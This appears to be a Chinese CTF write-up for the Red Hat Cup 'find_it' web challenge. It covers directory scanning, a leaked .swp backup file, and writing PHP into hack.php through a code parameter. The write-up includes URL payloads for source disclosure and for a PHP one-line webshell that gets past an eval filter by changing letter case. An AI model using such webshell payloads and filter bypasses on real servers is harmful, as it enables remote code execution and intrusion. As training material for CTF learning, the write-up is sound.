红帽杯 find_it
一、解题思路
1.使用dirsearch扫描目录,发现了robots.txt文件 2.直接进行访问,发现1ndexx.php 3.那我就顺着这个思路来进行访问,未果 4.根据题目find_it那就说明肯定是源代码泄露 常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history 我将其放到御剑里面进行扫描
同样没找结果,这里有个很大的坑,就是1ndexx.php 也是个隐藏文件,应该在前面的访问目录下加个点,进行访问
http://challenge-f6960d6016222203.sandbox.ctfhub.com:10800/.1ndexx.php.swp
5.Ctrl + U 查看页面源代码
6.代码审计一波,就是code传参给变量a 变量a有过滤,有个逻辑漏洞flag.php的内容,如果被绕过的话就会写入到hack.php中,我们可以直接构造payload
http://challenge-cb5c2d847c33ae94.sandbox.ctfhub.com:10800/?code=%3C?php%20show_source(__FILE__);?%3E
我们执行命令后,我们访问hack.php,直接可以得到flag
http://challenge-cb5c2d847c33ae94.sandbox.ctfhub.com:10800/hack.php
7.另外一种方式 上传一句话木马,虽然将eval过滤了,我们可以使用大小写绕过的方式,上传一句话木马
http://challenge-cb5c2d847c33ae94.sandbox.ctfhub.com:10800/?code=<?php @Eval($_POST['aaa']);?>
同样也可以得到flag
ctfhub{599bbdd0fa8ff600cc8c4a94}
二、知识点
1.常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history ; 2.注意隐藏文件的点. ; 3.fopen函数 4.fwrite函数
三、参考链接
https://www.it610.com/article/1397691781239328768.htm
|